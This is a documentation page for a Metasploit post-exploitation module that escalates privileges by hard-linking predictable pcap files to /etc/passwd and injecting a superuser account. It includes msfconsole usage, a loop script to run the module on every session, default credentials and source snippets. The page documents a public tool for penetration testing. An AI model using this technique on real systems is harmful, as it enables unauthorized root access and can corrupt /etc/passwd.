Multi Escalate Metasploit pcap_log Local Privilege Escalation - Metasploit


This page contains detailed information about how to use the post/multi/escalate/metasploit_pcaplog metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Multi Escalate Metasploit pcap_log Local Privilege Escalation
Module: post/multi/escalate/metasploit_pcaplog
Source code: modules/post/multi/escalate/metasploit_pcaplog.rb
Disclosure date: 2012-07-16
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, Unix
Target service / protocol: -
Target network port(s): 2940
List of CVEs: -

Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings, creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these filenames to /etc/passwd, then sending a packet with a privileged user entry contained within. This, and all the other packets, are appended to /etc/passwd. Successful exploitation results in the creation of a new superuser account. This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap files and truncate /etc/passwd. Note that if this module fails, you can potentially induce a permanent DoS on the target by corrupting the /etc/passwd file.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/escalate/metasploit_pcaplog

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/escalate/metasploit_pcaplog
msf post(metasploit_pcaplog) > show options
    ... show and set options ...
msf post(metasploit_pcaplog) > set SESSION session-id
msf post(metasploit_pcaplog) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/escalate/metasploit_pcaplog")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/escalate/metasploit_pcaplog post exploitation module looks in the msfconsole:

msf6 > use post/multi/escalate/metasploit_pcaplog

msf6 post(multi/escalate/metasploit_pcaplog) > show info

       Name: Multi Escalate Metasploit pcap_log Local Privilege Escalation
     Module: post/multi/escalate/metasploit_pcaplog
   Platform: BSD, Linux, Unix
       Arch: 
       Rank: Manual
  Disclosed: 2012-07-16

Provided by:
  0a29406d9794e4f9b30b3c5d6702c708

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  MINUTES   5                yes       Number of minutes to try to inject
  PASSWORD  metasploit       yes       Password for the new superuser
  RPORT     2940             yes       The target port
  SESSION                    yes       The session to run this module on.
  USERNAME  metasploit       yes       Username for the new superuser

Description:
  Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when 
  used with the default settings, creates pcap files in /tmp with 
  predictable file names. This exploits this by hard-linking these 
  filenames to /etc/passwd, then sending a packet with a privileged 
  user entry contained within. This, and all the other packets, are 
  appended to /etc/passwd. Successful exploitation results in the 
  creation of a new superuser account. This module requires manual 
  clean-up. Upon success, you should remove /tmp/msf3-session*pcap 
  files and truncate /etc/passwd. Note that if this module fails, you 
  can potentially induce a permanent DoS on the target by corrupting 
  the /etc/passwd file.

References:
  http://www.securityfocus.com/bid/54472
  http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html
  https://community.rapid7.com/docs/DOC-1946

Module Options


This is a complete list of options available in the multi/escalate/metasploit_pcaplog post exploitation module:

msf6 post(multi/escalate/metasploit_pcaplog) > show options

Module options (post/multi/escalate/metasploit_pcaplog):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MINUTES   5                yes       Number of minutes to try to inject
   PASSWORD  metasploit       yes       Password for the new superuser
   RPORT     2940             yes       The target port
   SESSION                    yes       The session to run this module on.
   USERNAME  metasploit       yes       Username for the new superuser

Advanced Options


Here is a complete list of advanced options supported by the multi/escalate/metasploit_pcaplog post exploitation module:

msf6 post(multi/escalate/metasploit_pcaplog) > show advanced

Module advanced options (post/multi/escalate/metasploit_pcaplog):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/escalate/metasploit_pcaplog module can do:

msf6 post(multi/escalate/metasploit_pcaplog) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/escalate/metasploit_pcaplog post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/escalate/metasploit_pcaplog) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

/etc/passwd not found on system


Here is a relevant code snippet related to the "/etc/passwd not found on system" error message:

53:	    datastore["MINUTES"].abs rescue 0
54:	  end
55:	
56:	  def run
57:	    print_status "Setting up the victim's /tmp dir"
58:	    fail_with(Failure::NotFound, '/etc/passwd not found on system') unless file_exist?('/etc/passwd')
59:	    initial_size = read_file("/etc/passwd").lines.count
60:	    print_status "/etc/passwd is currently #{initial_size} lines long"
61:	    i = 0
62:	    j = 0
63:	    loop do

' user does not appear to have been added


Here is a relevant code snippet related to the "' user does not appear to have been added" error message:

87:	
88:	    if read_file("/etc/passwd").includes?("Metasploit")
89:	      print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
90:	      # TODO: Consider recording our now-created username and password as a valid credential here.
91:	    else
92:	      print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
93:	    end
94:	    # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
95:	    #	  However beceause the session is not a terminal, su will not always allow this.
96:	  end
97:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • 0a29406d9794e4f9b30b3c5d6702c708

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.